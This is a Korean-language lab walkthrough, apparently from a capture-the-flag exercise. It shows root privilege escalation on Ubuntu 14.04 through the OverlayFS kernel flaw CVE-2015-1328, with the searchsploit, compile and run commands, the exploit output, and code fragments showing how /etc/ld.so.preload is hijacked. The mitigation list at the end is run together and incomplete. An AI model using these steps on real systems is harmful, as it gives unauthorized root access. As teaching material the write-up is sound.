
CVE-2015-1328 (OverlayFS)를 이용하여 Ubuntu 14.04에서 낮은 권한의 사용자에서 루트로 권한을 상승시키는 단계별 안내. 정보 수집, 익스플로잇 컴파일 및 실행을 포함합니다.
이 실습의 목표는 취약한 리눅스 커널을 악용하여 낮은 권한의 사용자(karen)에서 root로 권한을 상승시키는 것입니다.
SSH를 통해 대상 머신에 연결한 후:
ssh karen@<target-ip>
리눅스 커널 버전을 확인했습니다:
uname -r
출력:
3.13.0-24-generic
머신은 Ubuntu 14.04에서 커널 3.13.0-24-generic을 실행 중이었습니다.
리눅스 권한 상승은 취약한 커널에 의존하는 경우가 많으므로, SearchSploit을 사용하여 Exploit-DB를 검색했습니다:
searchsploit overlayfs ubuntu 3.13
결과:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
이 익스플로잇은 패치된 버전 이전의 Ubuntu 커널에 영향을 미치는 CVE-2015-1328을 대상으로 합니다.
익스플로잇을 실행하기 전에 그것이 무엇을 하는지 이해하는 것이 중요합니다.
이 익스플로잇은 리눅스 유니온 파일시스템인 OverlayFS의 결함을 악용합니다.
취약점은 OverlayFS가 사용자 네임스페이스(CLONE_NEWUSER) 내에서 마운트될 때 파일 권한을 잘못 처리하기 때문에 발생합니다.
권한이 없는 사용자는 OverlayFS를 조작하여 루트만 쓸 수 있어야 하는 파일을 생성하거나 수정할 수 있습니다.
익스플로잇은 최종적으로 다음에 씁니다:
/etc/ld.so.preload
이 파일은 리눅스 동적 로더에게 모든 동적으로 링크된 실행 파일 전에 공유 라이브러리를 로드하도록 지시합니다.
시스템이 악성 공유 라이브러리를 로드하도록 강제함으로써 익스플로잇은 root로 코드 실행을 얻습니다.
SearchSploit 사용:
searchsploit -m 37292
로컬로 익스플로잇을 복사했습니다:
37292.c
그런 다음 익스플로잇을 피해 머신으로 전송했습니다.
이 실습에서는 다음으로 저장되었습니다:
/tmp/ofs.c
익스플로잇이 있는 디렉토리로 이동:
cd /tmp
GCC를 사용하여 컴파일:
gcc ofs.c -o ofs
컴파일이 성공하면 GCC는 출력을 생성하지 않습니다.
실행 파일이 존재하는지 확인:
ls -l
예상:
-rwxr-xr-x ... ofs
실행 파일 실행:
./ofs
익스플로잇은 다음과 유사한 메시지를 출력합니다:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
마지막으로 루트 셸을 생성합니다:
#
권한 확인:
id
출력:
uid=0(root) gid=0(root)
루트 권한을 얻은 후:
cat /home/matt/flag1.txt
이제 파일을 성공적으로 읽을 수 있었습니다.
익스플로잇은 내부적으로 여러 작업을 수행합니다.
unshare(CLONE_NEWUSER);
리눅스 사용자 네임스페이스를 사용하면 권한이 없는 프로세스가 호스트에서 루트가 아니더라도 네임스페이스 내부에서 루트로 나타날 수 있습니다.
이 기능은 공격에 필수적입니다.
clone(... CLONE_NEWNS ...)
별도의 마운트 네임스페이스는 파일시스템 변경 사항을 나머지 운영 체제로부터 격리합니다.
이를 통해 익스플로잇은 전체 파일시스템에 영향을 주지 않고 OverlayFS를 마운트할 수 있습니다.
익스플로잇은 임시 디렉토리를 생성합니다:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
그런 다음 OverlayFS를 마운트합니다:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
커널 취약점으로 인해 OverlayFS는 루트 권한이 필요한 작업을 잘못 허용합니다.
/etc/ld.so.preload 생성익스플로잇은 OverlayFS 마운트 내에서 쓰기 가능한 파일의 이름을 다음으로 변경합니다:
ld.so.preload
OverlayFS를 /etc 위에 다시 마운트한 후 이 파일은 다음과 같이 됩니다:
/etc/ld.so.preload
일반적으로 이 파일을 생성할 수 있는 것은 루트뿐입니다.
익스플로잇은 C 소스 파일을 작성합니다:
/tmp/ofs-lib.c
그런 다음 컴파일합니다:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
결과 공유 라이브러리는 getuid() 함수를 재정의합니다.
익스플로잇은 다음을 씁니다:
/tmp/ofs-lib.so
를 다음에 씁니다:
/etc/ld.so.preload
이제 모든 동적으로 링크된 실행 파일은 시스템 라이브러리보다 먼저 이 악성 라이브러리를 로드합니다.
/bin/su 실행마지막으로:
execl("/bin/su", "su", NULL);
su가 시작되면 원래 함수 대신 악성 getuid() 함수가 실행됩니다.
라이브러리는:
/etc/ld.so.preload 제거setresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
결과는 대화형 루트 셸입니다.
취약점은 사용자 네임스페이스 내에서 사용될 때 OverlayFS의 잘못된 권한 처리로 인해 발생합니다.
권한이 없는 사용자는 OverlayFS를 조작하여 다음과 같은 권한 있는 파일을 생성할 수 있습니다:
/etc/ld.so.preload
동적 로더가 이 파일을 신뢰하므로 임의의 코드가 root로 실행됩니다.
이 취약점은 Ubuntu에서 업데이트된 커널 릴리스로 패치되었습니다.
완화 전략은 다음과 같습니다:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt